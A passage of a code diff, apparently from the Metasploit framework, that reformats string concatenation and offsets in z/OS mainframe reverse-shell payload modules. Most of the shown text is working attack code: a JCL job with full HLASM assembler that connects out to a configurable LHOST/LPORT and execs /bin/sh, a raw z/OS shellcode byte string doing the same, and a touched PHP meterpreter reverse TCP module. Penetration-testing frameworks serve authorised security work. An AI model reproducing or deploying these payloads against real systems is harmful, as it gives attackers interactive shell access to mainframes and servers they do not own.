||||
|
||||
##
|
||||
# Build the command string for JCL submission
|
||||
##
|
||||
def command_string
|
||||
return "//DUMMY JOB (MFUSER),'dummy job',\n" +
|
||||
"// NOTIFY=&SYSUID,\n" +
|
||||
"// MSGCLASS=H,\n" +
|
||||
"// MSGLEVEL=(1,1),\n" +
|
||||
"// REGION=0M\n" +
|
||||
"// EXEC PGM=IEFBR14\n"
|
||||
"//DUMMY JOB (MFUSER),'dummy job',\n" \
|
||||
"// NOTIFY=&SYSUID,\n" \
|
||||
"// MSGCLASS=H,\n" \
|
||||
"// MSGLEVEL=(1,1),\n" \
|
||||
"// REGION=0M\n" \
|
||||
"// EXEC PGM=IEFBR14\n"
|
||||
end
|
||||
end
|
||||
|
|
|
@ -8,7 +8,6 @@
|
|||
# on the system as JCL to JES2
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/base/sessions/mainframe_shell'
|
||||
|
@ -16,7 +15,7 @@ require 'msf/base/sessions/command_shell_options'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = :dynamic
|
||||
CachedSize = 9001
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Mainframe
|
||||
|
@ -24,227 +23,228 @@ module MetasploitModule
|
|||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Z/OS (MVS) Command Shell, Reverse TCP',
|
||||
'Description' => 'Provide JCL which creates a reverse shell
|
||||
This implmentation does not include ebcdic character translation,
|
||||
so a client with translation capabilities is required. MSF handles
|
||||
this automatically.',
|
||||
'Author' => 'Bigendian Smalls',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'mainframe',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Session' => Msf::Sessions::MainframeShell,
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'jcl',
|
||||
'Payload' =>
|
||||
'Name' => 'Z/OS (MVS) Command Shell, Reverse TCP',
|
||||
'Description' => 'Provide JCL which creates a reverse shell
|
||||
This implmentation does not include ebcdic character translation,
|
||||
so a client with translation capabilities is required. MSF handles
|
||||
this automatically.',
|
||||
'Author' => 'Bigendian Smalls',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'mainframe',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Session' => Msf::Sessions::MainframeShell,
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'jcl',
|
||||
'Payload' =>
|
||||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
'LHOST' => [ 0x1b29, 'custom' ],
|
||||
'LPORT' => [ 0x1b25, 'custom' ],
|
||||
'LPORT' => [ 0x1b25, 'custom' ]
|
||||
},
|
||||
'Payload' =>
|
||||
"//REVSHL JOB (USER),'Reverse shell jcl',\n" +
|
||||
"// NOTIFY=&SYSUID,\n" +
|
||||
"// MSGCLASS=H,\n" +
|
||||
"// MSGLEVEL=(1,1),\n" +
|
||||
"// REGION=0M\n" +
|
||||
"//**************************************/\n" +
|
||||
"//* Generates reverse shell */\n" +
|
||||
"//**************************************/\n" +
|
||||
"//*\n" +
|
||||
"//STEP1 EXEC PROC=ASMACLG\n" +
|
||||
"//SYSIN DD *,DLM=ZZ\n" +
|
||||
" TITLE 'z/os Reverse Shell'\n" +
|
||||
"NEWREV CSECT\n" +
|
||||
"NEWREV AMODE 31\n" +
|
||||
"NEWREV RMODE 31\n" +
|
||||
"***********************************************************************\n" +
|
||||
"* SETUP registers and save areas *\n" +
|
||||
"***********************************************************************\n" +
|
||||
"MAIN LR 7,15 # R7 is base register\n" +
|
||||
" NILH 7,X'1FFF' # ensure local address\n" +
|
||||
" USING MAIN,0 # R8 for addressability\n" +
|
||||
" DS 0H # halfword boundaries\n" +
|
||||
" LA 1,ZEROES(7) # address byond which should be all 0s\n" +
|
||||
" XC 0(204,1),0(1) # clear zero area\n" +
|
||||
" LA 13,SAVEAREA(7) # address of save area\n" +
|
||||
" LHI 8,8 # R8 has static 8\n" +
|
||||
" LHI 9,1 # R9 has static 1\n" +
|
||||
" LHI 10,2 # R10 has static 2\n" +
|
||||
"\n" +
|
||||
"***********************************************************************\n" +
|
||||
"* BPX1SOC set up socket *\n" +
|
||||
"***********************************************************************\n" +
|
||||
"BSOC LA 0,@@F1(7) # USS callable svcs socket\n" +
|
||||
" LA 3,8 # n parms\n" +
|
||||
" LA 5,DOM(7) # Relative addr of First parm\n" +
|
||||
" ST 10,DOM(7) # store a 2 for AF_INET\n" +
|
||||
" ST 9,TYPE(7) # store a 1 for sock_stream\n" +
|
||||
" ST 9,DIM(7) # store a 1 for dim_sock\n" +
|
||||
" LA 15,CLORUN(7) # address of generic load & run\n" +
|
||||
" BASR 14,15 # Branch to load & run\n" +
|
||||
"\n" +
|
||||
"***********************************************************************\n" +
|
||||
"* BPX1CON (connect) connect to rmt host *\n" +
|
||||
"***********************************************************************\n" +
|
||||
"BCON L 5,CLIFD(7) # address of client file descriptor\n" +
|
||||
" ST 5,CLIFD2(7) # store for connection call\n" +
|
||||
"*** main processing **\n" +
|
||||
" LA 1,SSTR(7) # packed socket string\n" +
|
||||
" LA 5,CLIFD2(7) # dest for our sock str\n" +
|
||||
" MVC 7(9,5),0(1) # mv packed skt str to parm array\n" +
|
||||
" LA 0,@@F2(7) # USS callable svcs connect\n" +
|
||||
" LA 3,6 # n parms for func call\n" +
|
||||
" LA 5,CLIFD2(7) # src parm list addr\n" +
|
||||
" LA 15,CLORUN(7) # address of generic load & run\n" +
|
||||
" BASR 14,15 # Branch to load & run\n" +
|
||||
"\n" +
|
||||
"*************************************************\n" +
|
||||
"* Preparte the child pid we'll spawn *\n" +
|
||||
"* 0) Dupe all 3 file desc of CLIFD *\n" +
|
||||
"* 1) dupe parent read fd to std input *\n" +
|
||||
"*************************************************\n" +
|
||||
" LHI 11,2 # Loop Counter R11=2\n" +
|
||||
"@LOOP1 BRC 15,LFCNTL # call FCNTL for each FD(in,out,err)\n" +
|
||||
"@RET1 AHI 11,-1 # Decrement R11\n" +
|
||||
" CIJ 11,-1,7,@LOOP1 # if R11 >= 0, loop\n" +
|
||||
"\n" +
|
||||
"***********************************************************************\n" +
|
||||
"* BPX1EXC (exec) execute /bin/sh *\n" +
|
||||
"***********************************************************************\n" +
|
||||
"LEXEC LA 1,EXCPRM1(7) # top of arg list\n" +
|
||||
"******************************************\n" +
|
||||
"**** load array of addr and constants ***\n" +
|
||||
"******************************************\n" +
|
||||
" ST 10,EXARG1L(7) # arg 1 len is 2\n" +
|
||||
" LA 2,EXARG1L(7) # addr of len of arg1\n" +
|
||||
" ST 2,16(0,1) # arg4 Addr of Arg Len Addrs\n" +
|
||||
" LA 2,EXARG1(7) # addr of arg1\n" +
|
||||
" ST 2,20(0,1) # arg5 Addr of Arg Addrs\n" +
|
||||
" ST 9,EXARGC(7) # store 1 in ARG Count\n" +
|
||||
"**************************************************************\n" +
|
||||
"*** call the exec function the normal way ********************\n" +
|
||||
"**************************************************************\n" +
|
||||
" LA 0,@@EX1(7) # USS callable svcs EXEC\n" +
|
||||
" LA 3,13 # n parms\n" +
|
||||
" LA 5,EXCPRM1(7) # src parm list addr\n" +
|
||||
" LA 15,CLORUN(7) # address of generic load & run\n" +
|
||||
" BASR 14,15 # Branch to load & run\n" +
|
||||
"\n" +
|
||||
"***********************************************************************\n" +
|
||||
"*** BPX1FCT (fnctl) Edit our file descriptor **************************\n" +
|
||||
"***********************************************************************\n" +
|
||||
"LFCNTL LA 0,@@FC1(7) # USS callable svcs FNCTL\n" +
|
||||
" ST 8,@ACT(7) # 8 is our dupe2 action\n" +
|
||||
" L 5,CLIFD(7) # client file descriptor\n" +
|
||||
" ST 5,@FFD(7) # store as fnctl argument\n" +
|
||||
" ST 11,@ARG(7) # fd to clone\n" +
|
||||
" LA 3,6 # n parms\n" +
|
||||
" LA 5,@FFD(7) # src parm list addr\n" +
|
||||
" LA 15,CLORUN(7) # address of generic load & run\n" +
|
||||
" BASR 14,15 # Branch to load & run\n" +
|
||||
" BRC 15,@RET1 # Return to caller\n" +
|
||||
"\n" +
|
||||
"***********************************************************************\n" +
|
||||
"* LOAD and run R0=func name, R3=n parms *\n" +
|
||||
"* R5 = src parm list *\n" +
|
||||
"***********************************************************************\n" +
|
||||
"CLORUN ST 14,8(,13) # store ret address\n" +
|
||||
" XR 1,1 # zero R1\n" +
|
||||
" SVC 8 # get func call addr for R0\n" +
|
||||
" ST 0,12(13) # Store returned addr in our SA\n" +
|
||||
" L 15,12(13) # Load func addr into R15\n" +
|
||||
" LHI 6,20 # offset from SA of first parm\n" +
|
||||
" LA 1,0(6,13) # start of dest parm list\n" +
|
||||
"@LOOP2 ST 5,0(6,13) # store parms address in parm\n" +
|
||||
" AHI 3,-1 # decrement # parm\n" +
|
||||
" CIJ 3,11,8,@FIX # haky fix for EXEC func\n" +
|
||||
"@RETX AHI 6,4 # increment dest parm addr\n" +
|
||||
" AHI 5,4 # increment src parm addr\n" +
|
||||
" CIJ 3,0,7,@LOOP2 # loop until R3 = 0\n" +
|
||||
" LA 5,0(6,13)\n" +
|
||||
" AHI 5,-4\n" +
|
||||
" OI 0(5),X'80' # last parm first bit high\n" +
|
||||
"@FIN1 BALR 14,15 # call function\n" +
|
||||
" L 14,8(,13) # set up return address\n" +
|
||||
" BCR 15,14 # return to caller\n" +
|
||||
"@FIX AHI 5,4 # need extra byte skipped for exec\n" +
|
||||
" BRC 15,@RETX\n" +
|
||||
"\n" +
|
||||
"***********************************************************************\n" +
|
||||
"* Arg Arrays, Constants and Save Area *\n" +
|
||||
"***********************************************************************\n" +
|
||||
" DS 0F\n" +
|
||||
"*************************\n" +
|
||||
"**** Func Names ****\n" +
|
||||
"*************************\n" +
|
||||
"@@F1 DC CL8'BPX1SOC '\n" +
|
||||
"@@F2 DC CL8'BPX1CON '\n" +
|
||||
"@@EX1 DC CL8'BPX1EXC ' # callable svcs name\n" +
|
||||
"@@FC1 DC CL8'BPX1FCT '\n" +
|
||||
"* # BPX1EXC Constants\n" +
|
||||
"EXARG1 DC CL2'sh' # arg 1 to exec\n" +
|
||||
"* # BPX1CON Constants\n" +
|
||||
"SSTR DC X'100202PPPPaaaaaaaa'\n" +
|
||||
"* # BPX1EXC Arguments\n" +
|
||||
"EXCPRM1 DS 0F # actual parm list of exec call\n" +
|
||||
"EXCMDL DC F'7' # len of cmd to exec\n" +
|
||||
"EXCMD DC CL7'/bin/sh' # command to exec\n" +
|
||||
"*********************************************************************\n" +
|
||||
"******* Below this line is filled in runtime, but at compile ********\n" +
|
||||
"******* is all zeroes, so it can be dropped from the shell- *********\n" +
|
||||
"******* code as it will be dynamically added back and the ***********\n" +
|
||||
"******* offsets are already calulated in the code *******************\n" +
|
||||
"*********************************************************************\n" +
|
||||
"ZEROES DS 0F # 51 4 byte slots\n" +
|
||||
"EXARGC DC F'0' # num of arguments\n" +
|
||||
"EXARGS DC 10XL4'00000000' # reminaing exec args\n" +
|
||||
"EXARG1L DC F'0' # arg1 length\n" +
|
||||
"* # BPX1FCT Arguments\n" +
|
||||
"@FFD DC F'0' # file descriptor\n" +
|
||||
"@ACT DC F'0' # fnctl action\n" +
|
||||
"@ARG DC F'0' # argument to fnctl\n" +
|
||||
"@RETFD DC F'0' # fd return\n" +
|
||||
"FR1 DC F'0' # rtn code\n" +
|
||||
"FR2 DC F'0' # rsn code\n" +
|
||||
"* # BPX1SOC Arguments\n" +
|
||||
"DOM DC F'0' # AF_INET = 2\n" +
|
||||
"TYPE DC F'0' # sock stream = 1\n" +
|
||||
"PROTO DC F'0' # protocol ip = 0\n" +
|
||||
"DIM DC F'0' # dim_sock = 1\n" +
|
||||
"CLIFD DC F'0' # client file descriptor\n" +
|
||||
"SR1 DC F'0' # rtn val\n" +
|
||||
"SR2 DC F'0' # rtn code\n" +
|
||||
"SR3 DC F'0' # rsn code\n" +
|
||||
"* # BPX1CON Arguments\n" +
|
||||
"CLIFD2 DC F'0' # CLIFD\n" +
|
||||
"SOCKLEN DC F'0' # length of Sock Struct\n" +
|
||||
"SRVSKT DC XL2'0000' # srv socket struct\n" +
|
||||
" DC XL2'0000' # port\n" +
|
||||
" DC XL4'00000000' # RHOST 0.0.0.0\n" +
|
||||
"CR1 DC F'0' # rtn val\n" +
|
||||
"CR2 DC F'0' # rtn code\n" +
|
||||
"CR3 DC F'0' # rsn code\n" +
|
||||
"SAVEAREA DC 18XL4'00000000' # save area for pgm mgmt\n" +
|
||||
"EOFMARK DC X'deadbeef' # eopgm marker for shellcode\n" +
|
||||
" END MAIN\n" +
|
||||
"ZZ\n" +
|
||||
"//REVSHL JOB (USER),'Reverse shell jcl',\n" \
|
||||
"// NOTIFY=&SYSUID,\n" \
|
||||
"// MSGCLASS=H,\n" \
|
||||
"// MSGLEVEL=(1,1),\n" \
|
||||
"// REGION=0M\n" \
|
||||
"//**************************************/\n" \
|
||||
"//* Generates reverse shell */\n" \
|
||||
"//**************************************/\n" \
|
||||
"//*\n" \
|
||||
"//STEP1 EXEC PROC=ASMACLG\n" \
|
||||
"//SYSIN DD *,DLM=ZZ\n" \
|
||||
" TITLE 'z/os Reverse Shell'\n" \
|
||||
"NEWREV CSECT\n" \
|
||||
"NEWREV AMODE 31\n" \
|
||||
"NEWREV RMODE 31\n" \
|
||||
"***********************************************************************\n" \
|
||||
"* SETUP registers and save areas *\n" \
|
||||
"***********************************************************************\n" \
|
||||
"MAIN LR 7,15 # R7 is base register\n" \
|
||||
" NILH 7,X'1FFF' # ensure local address\n" \
|
||||
" USING MAIN,0 # R8 for addressability\n" \
|
||||
" DS 0H # halfword boundaries\n" \
|
||||
" LA 1,ZEROES(7) # address byond which should be all 0s\n" \
|
||||
" XC 0(204,1),0(1) # clear zero area\n" \
|
||||
" LA 13,SAVEAREA(7) # address of save area\n" \
|
||||
" LHI 8,8 # R8 has static 8\n" \
|
||||
" LHI 9,1 # R9 has static 1\n" \
|
||||
" LHI 10,2 # R10 has static 2\n" \
|
||||
"\n" \
|
||||
"***********************************************************************\n" \
|
||||
"* BPX1SOC set up socket *\n" \
|
||||
"***********************************************************************\n" \
|
||||
"BSOC LA 0,@@F1(7) # USS callable svcs socket\n" \
|
||||
" LA 3,8 # n parms\n" \
|
||||
" LA 5,DOM(7) # Relative addr of First parm\n" \
|
||||
" ST 10,DOM(7) # store a 2 for AF_INET\n" \
|
||||
" ST 9,TYPE(7) # store a 1 for sock_stream\n" \
|
||||
" ST 9,DIM(7) # store a 1 for dim_sock\n" \
|
||||
" LA 15,CLORUN(7) # address of generic load & run\n" \
|
||||
" BASR 14,15 # Branch to load & run\n" \
|
||||
"\n" \
|
||||
"***********************************************************************\n" \
|
||||
"* BPX1CON (connect) connect to rmt host *\n" \
|
||||
"***********************************************************************\n" \
|
||||
"BCON L 5,CLIFD(7) # address of client file descriptor\n" \
|
||||
" ST 5,CLIFD2(7) # store for connection call\n" \
|
||||
"*** main processing **\n" \
|
||||
" LA 1,SSTR(7) # packed socket string\n" \
|
||||
" LA 5,CLIFD2(7) # dest for our sock str\n" \
|
||||
" MVC 7(9,5),0(1) # mv packed skt str to parm array\n" \
|
||||
" LA 0,@@F2(7) # USS callable svcs connect\n" \
|
||||
" LA 3,6 # n parms for func call\n" \
|
||||
" LA 5,CLIFD2(7) # src parm list addr\n" \
|
||||
" LA 15,CLORUN(7) # address of generic load & run\n" \
|
||||
" BASR 14,15 # Branch to load & run\n" \
|
||||
"\n" \
|
||||
"*************************************************\n" \
|
||||
"* Preparte the child pid we'll spawn *\n" \
|
||||
"* 0) Dupe all 3 file desc of CLIFD *\n" \
|
||||
"* 1) dupe parent read fd to std input *\n" \
|
||||
"*************************************************\n" \
|
||||
" LHI 11,2 # Loop Counter R11=2\n" \
|
||||
"@LOOP1 BRC 15,LFCNTL # call FCNTL for each FD(in,out,err)\n" \
|
||||
"@RET1 AHI 11,-1 # Decrement R11\n" \
|
||||
" CIJ 11,-1,7,@LOOP1 # if R11 >= 0, loop\n" \
|
||||
"\n" \
|
||||
"***********************************************************************\n" \
|
||||
"* BPX1EXC (exec) execute /bin/sh *\n" \
|
||||
"***********************************************************************\n" \
|
||||
"LEXEC LA 1,EXCPRM1(7) # top of arg list\n" \
|
||||
"******************************************\n" \
|
||||
"**** load array of addr and constants ***\n" \
|
||||
"******************************************\n" \
|
||||
" ST 10,EXARG1L(7) # arg 1 len is 2\n" \
|
||||
" LA 2,EXARG1L(7) # addr of len of arg1\n" \
|
||||
" ST 2,16(0,1) # arg4 Addr of Arg Len Addrs\n" \
|
||||
" LA 2,EXARG1(7) # addr of arg1\n" \
|
||||
" ST 2,20(0,1) # arg5 Addr of Arg Addrs\n" \
|
||||
" ST 9,EXARGC(7) # store 1 in ARG Count\n" \
|
||||
"**************************************************************\n" \
|
||||
"*** call the exec function the normal way ********************\n" \
|
||||
"**************************************************************\n" \
|
||||
" LA 0,@@EX1(7) # USS callable svcs EXEC\n" \
|
||||
" LA 3,13 # n parms\n" \
|
||||
" LA 5,EXCPRM1(7) # src parm list addr\n" \
|
||||
" LA 15,CLORUN(7) # address of generic load & run\n" \
|
||||
" BASR 14,15 # Branch to load & run\n" \
|
||||
"\n" \
|
||||
"***********************************************************************\n" \
|
||||
"*** BPX1FCT (fnctl) Edit our file descriptor **************************\n" \
|
||||
"***********************************************************************\n" \
|
||||
"LFCNTL LA 0,@@FC1(7) # USS callable svcs FNCTL\n" \
|
||||
" ST 8,@ACT(7) # 8 is our dupe2 action\n" \
|
||||
" L 5,CLIFD(7) # client file descriptor\n" \
|
||||
" ST 5,@FFD(7) # store as fnctl argument\n" \
|
||||
" ST 11,@ARG(7) # fd to clone\n" \
|
||||
" LA 3,6 # n parms\n" \
|
||||
" LA 5,@FFD(7) # src parm list addr\n" \
|
||||
" LA 15,CLORUN(7) # address of generic load & run\n" \
|
||||
" BASR 14,15 # Branch to load & run\n" \
|
||||
" BRC 15,@RET1 # Return to caller\n" \
|
||||
"\n" \
|
||||
"***********************************************************************\n" \
|
||||
"* LOAD and run R0=func name, R3=n parms *\n" \
|
||||
"* R5 = src parm list *\n" \
|
||||
"***********************************************************************\n" \
|
||||
"CLORUN ST 14,8(,13) # store ret address\n" \
|
||||
" XR 1,1 # zero R1\n" \
|
||||
" SVC 8 # get func call addr for R0\n" \
|
||||
" ST 0,12(13) # Store returned addr in our SA\n" \
|
||||
" L 15,12(13) # Load func addr into R15\n" \
|
||||
" LHI 6,20 # offset from SA of first parm\n" \
|
||||
" LA 1,0(6,13) # start of dest parm list\n" \
|
||||
"@LOOP2 ST 5,0(6,13) # store parms address in parm\n" \
|
||||
" AHI 3,-1 # decrement # parm\n" \
|
||||
" CIJ 3,11,8,@FIX # haky fix for EXEC func\n" \
|
||||
"@RETX AHI 6,4 # increment dest parm addr\n" \
|
||||
" AHI 5,4 # increment src parm addr\n" \
|
||||
" CIJ 3,0,7,@LOOP2 # loop until R3 = 0\n" \
|
||||
" LA 5,0(6,13)\n" \
|
||||
" AHI 5,-4\n" \
|
||||
" OI 0(5),X'80' # last parm first bit high\n" \
|
||||
"@FIN1 BALR 14,15 # call function\n" \
|
||||
" L 14,8(,13) # set up return address\n" \
|
||||
" BCR 15,14 # return to caller\n" \
|
||||
"@FIX AHI 5,4 # need extra byte skipped for exec\n" \
|
||||
" BRC 15,@RETX\n" \
|
||||
"\n" \
|
||||
"***********************************************************************\n" \
|
||||
"* Arg Arrays, Constants and Save Area *\n" \
|
||||
"***********************************************************************\n" \
|
||||
" DS 0F\n" \
|
||||
"*************************\n" \
|
||||
"**** Func Names ****\n" \
|
||||
"*************************\n" \
|
||||
"@@F1 DC CL8'BPX1SOC '\n" \
|
||||
"@@F2 DC CL8'BPX1CON '\n" \
|
||||
"@@EX1 DC CL8'BPX1EXC ' # callable svcs name\n" \
|
||||
"@@FC1 DC CL8'BPX1FCT '\n" \
|
||||
"* # BPX1EXC Constants\n" \
|
||||
"EXARG1 DC CL2'sh' # arg 1 to exec\n" \
|
||||
"* # BPX1CON Constants\n" \
|
||||
"SSTR DC X'100202PPPPaaaaaaaa'\n" \
|
||||
"* # BPX1EXC Arguments\n" \
|
||||
"EXCPRM1 DS 0F # actual parm list of exec call\n" \
|
||||
"EXCMDL DC F'7' # len of cmd to exec\n" \
|
||||
"EXCMD DC CL7'/bin/sh' # command to exec\n" \
|
||||
"*********************************************************************\n" \
|
||||
"******* Below this line is filled in runtime, but at compile ********\n" \
|
||||
"******* is all zeroes, so it can be dropped from the shell- *********\n" \
|
||||
"******* code as it will be dynamically added back and the ***********\n" \
|
||||
"******* offsets are already calulated in the code *******************\n" \
|
||||
"*********************************************************************\n" \
|
||||
"ZEROES DS 0F # 51 4 byte slots\n" \
|
||||
"EXARGC DC F'0' # num of arguments\n" \
|
||||
"EXARGS DC 10XL4'00000000' # reminaing exec args\n" \
|
||||
"EXARG1L DC F'0' # arg1 length\n" \
|
||||
"* # BPX1FCT Arguments\n" \
|
||||
"@FFD DC F'0' # file descriptor\n" \
|
||||
"@ACT DC F'0' # fnctl action\n" \
|
||||
"@ARG DC F'0' # argument to fnctl\n" \
|
||||
"@RETFD DC F'0' # fd return\n" \
|
||||
"FR1 DC F'0' # rtn code\n" \
|
||||
"FR2 DC F'0' # rsn code\n" \
|
||||
"* # BPX1SOC Arguments\n" \
|
||||
"DOM DC F'0' # AF_INET = 2\n" \
|
||||
"TYPE DC F'0' # sock stream = 1\n" \
|
||||
"PROTO DC F'0' # protocol ip = 0\n" \
|
||||
"DIM DC F'0' # dim_sock = 1\n" \
|
||||
"CLIFD DC F'0' # client file descriptor\n" \
|
||||
"SR1 DC F'0' # rtn val\n" \
|
||||
"SR2 DC F'0' # rtn code\n" \
|
||||
"SR3 DC F'0' # rsn code\n" \
|
||||
"* # BPX1CON Arguments\n" \
|
||||
"CLIFD2 DC F'0' # CLIFD\n" \
|
||||
"SOCKLEN DC F'0' # length of Sock Struct\n" \
|
||||
"SRVSKT DC XL2'0000' # srv socket struct\n" \
|
||||
" DC XL2'0000' # port\n" \
|
||||
" DC XL4'00000000' # RHOST 0.0.0.0\n" \
|
||||
"CR1 DC F'0' # rtn val\n" \
|
||||
"CR2 DC F'0' # rtn code\n" \
|
||||
"CR3 DC F'0' # rsn code\n" \
|
||||
"SAVEAREA DC 18XL4'00000000' # save area for pgm mgmt\n" \
|
||||
"EOFMARK DC X'deadbeef' # eopgm marker for shellcode\n" \
|
||||
" END MAIN\n" \
|
||||
"ZZ\n" \
|
||||
"//*\n"
|
||||
}))
|
||||
end
|
||||
|
||||
# replace our own LPORT/LHOST
|
||||
def replace_var(raw, name, offset, pack)
|
||||
super
|
||||
if( name == 'LHOST' and datastore[name] )
|
||||
if name == 'LHOST' && datastore[name]
|
||||
val = Rex::Socket.resolv_nbo(datastore[name])
|
||||
val = val.unpack("H*")[0]
|
||||
raw[offset, val.length] = val
|
||||
return true
|
||||
elsif(name == 'LPORT' and datastore[name] )
|
||||
elsif name == 'LPORT' && datastore[name]
|
||||
val = datastore[name]
|
||||
val = val.to_s(16).rjust(4,'0')
|
||||
val = val.to_s.to_i.to_s(16).rjust(4, '0')
|
||||
raw[offset, val.length] = val
|
||||
return true
|
||||
else
|
||||
|
|
|
@ -7,14 +7,12 @@
|
|||
#
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/base/sessions/mainframe_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 339
|
||||
|
||||
include Msf::Payload::Single
|
||||
|
@ -39,30 +37,30 @@ module MetasploitModule
|
|||
'Offsets' =>
|
||||
{
|
||||
'LPORT' => [ 321, 'n' ],
|
||||
'LHOST' => [ 323, 'ADDR' ],
|
||||
'LHOST' => [ 323, 'ADDR' ]
|
||||
},
|
||||
'Payload' =>
|
||||
"\x18\x7f\xa5\x76\x1f\xff\x41\x17\x01\x54\xd7\xcb\x10\x00\x10\x00" +
|
||||
"\x41\xd7\x01\xd8\xa7\x88\x00\x08\xa7\x98\x00\x01\xa7\xa8\x00\x02" +
|
||||
"\x41\x07\x01\x1c\x41\x30\x00\x08\x41\x57\x01\x9c\x50\xa7\x01\x9c" +
|
||||
"\x50\x97\x01\xa0\x50\x97\x01\xa8\x41\xf7\x00\xcc\x0d\xef\x58\x57" +
|
||||
"\x01\xac\x50\x57\x01\xbc\x41\x17\x01\x3e\x41\x57\x01\xbc\xd2\x08" +
|
||||
"\x50\x07\x10\x00\x41\x07\x01\x24\x41\x30\x00\x06\x41\x57\x01\xbc" +
|
||||
"\x41\xf7\x00\xcc\x0d\xef\xa7\xb8\x00\x02\xa7\xf4\x00\x1e\xa7\xba" +
|
||||
"\xff\xff\xec\xb7\xff\xfc\xff\x7e\x41\x17\x01\x48\x50\xa7\x01\x80" +
|
||||
"\x41\x27\x01\x80\x50\x20\x10\x10\x41\x27\x01\x3c\x50\x20\x10\x14" +
|
||||
"\x50\x97\x01\x54\x41\x07\x01\x2c\x41\x30\x00\x0d\x41\x57\x01\x48" +
|
||||
"\x41\xf7\x00\xcc\x0d\xef\x41\x07\x01\x34\x50\x87\x01\x88\x58\x57" +
|
||||
"\x01\xac\x50\x57\x01\x84\x50\xb7\x01\x8c\x41\x30\x00\x06\x41\x57" +
|
||||
"\x01\x84\x41\xf7\x00\xcc\x0d\xef\xa7\xf4\xff\xd3\x50\xe0\xd0\x08" +
|
||||
"\x17\x11\x0a\x08\x50\x0d\x00\x0c\x58\xfd\x00\x0c\xa7\x68\x00\x14" +
|
||||
"\x41\x16\xd0\x00\x50\x56\xd0\x00\xa7\x3a\xff\xff\xec\x38\x00\x14" +
|
||||
"\x0b\x7e\xa7\x6a\x00\x04\xa7\x5a\x00\x04\xec\x37\xff\xf5\x00\x7e" +
|
||||
"\x41\x56\xd0\x00\xa7\x5a\xff\xfc\x96\x80\x50\x00\x05\xef\x58\xe0" +
|
||||
"\xd0\x08\x07\xfe\xa7\x5a\x00\x04\xa7\xf4\xff\xed\xc2\xd7\xe7\xf1" +
|
||||
"\xe2\xd6\xc3\x40\xc2\xd7\xe7\xf1\xc3\xd6\xd5\x40\xc2\xd7\xe7\xf1" +
|
||||
"\xc5\xe7\xc3\x40\xc2\xd7\xe7\xf1\xc6\xc3\xe3\x40\xa2\x88\x10\x02" +
|
||||
"\x02\x00\x00\x7f\x00\x00\x01\x00\x00\x00\x00\x07\x61\x82\x89\x95" +
|
||||
"\x18\x7f\xa5\x76\x1f\xff\x41\x17\x01\x54\xd7\xcb\x10\x00\x10\x00" \
|
||||
"\x41\xd7\x01\xd8\xa7\x88\x00\x08\xa7\x98\x00\x01\xa7\xa8\x00\x02" \
|
||||
"\x41\x07\x01\x1c\x41\x30\x00\x08\x41\x57\x01\x9c\x50\xa7\x01\x9c" \
|
||||
"\x50\x97\x01\xa0\x50\x97\x01\xa8\x41\xf7\x00\xcc\x0d\xef\x58\x57" \
|
||||
"\x01\xac\x50\x57\x01\xbc\x41\x17\x01\x3e\x41\x57\x01\xbc\xd2\x08" \
|
||||
"\x50\x07\x10\x00\x41\x07\x01\x24\x41\x30\x00\x06\x41\x57\x01\xbc" \
|
||||
"\x41\xf7\x00\xcc\x0d\xef\xa7\xb8\x00\x02\xa7\xf4\x00\x1e\xa7\xba" \
|
||||
"\xff\xff\xec\xb7\xff\xfc\xff\x7e\x41\x17\x01\x48\x50\xa7\x01\x80" \
|
||||
"\x41\x27\x01\x80\x50\x20\x10\x10\x41\x27\x01\x3c\x50\x20\x10\x14" \
|
||||
"\x50\x97\x01\x54\x41\x07\x01\x2c\x41\x30\x00\x0d\x41\x57\x01\x48" \
|
||||
"\x41\xf7\x00\xcc\x0d\xef\x41\x07\x01\x34\x50\x87\x01\x88\x58\x57" \
|
||||
"\x01\xac\x50\x57\x01\x84\x50\xb7\x01\x8c\x41\x30\x00\x06\x41\x57" \
|
||||
"\x01\x84\x41\xf7\x00\xcc\x0d\xef\xa7\xf4\xff\xd3\x50\xe0\xd0\x08" \
|
||||
"\x17\x11\x0a\x08\x50\x0d\x00\x0c\x58\xfd\x00\x0c\xa7\x68\x00\x14" \
|
||||
"\x41\x16\xd0\x00\x50\x56\xd0\x00\xa7\x3a\xff\xff\xec\x38\x00\x14" \
|
||||
"\x0b\x7e\xa7\x6a\x00\x04\xa7\x5a\x00\x04\xec\x37\xff\xf5\x00\x7e" \
|
||||
"\x41\x56\xd0\x00\xa7\x5a\xff\xfc\x96\x80\x50\x00\x05\xef\x58\xe0" \
|
||||
"\xd0\x08\x07\xfe\xa7\x5a\x00\x04\xa7\xf4\xff\xed\xc2\xd7\xe7\xf1" \
|
||||
"\xe2\xd6\xc3\x40\xc2\xd7\xe7\xf1\xc3\xd6\xd5\x40\xc2\xd7\xe7\xf1" \
|
||||
"\xc5\xe7\xc3\x40\xc2\xd7\xe7\xf1\xc6\xc3\xe3\x40\xa2\x88\x10\x02" \
|
||||
"\x02\x00\x00\x7f\x00\x00\x01\x00\x00\x00\x00\x07\x61\x82\x89\x95" \
|
||||
"\x61\xa2\x88"
|
||||
}))
|
||||
end
|
||||
|
|
|
@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_options'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 26778
|
||||
CachedSize = 26803
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Php::ReverseTcp
|
||||
|
|
|
@ -35,7 +35,7 @@ module MetasploitModule
|
|||
def generate_reverse_http(opts={})
|
||||
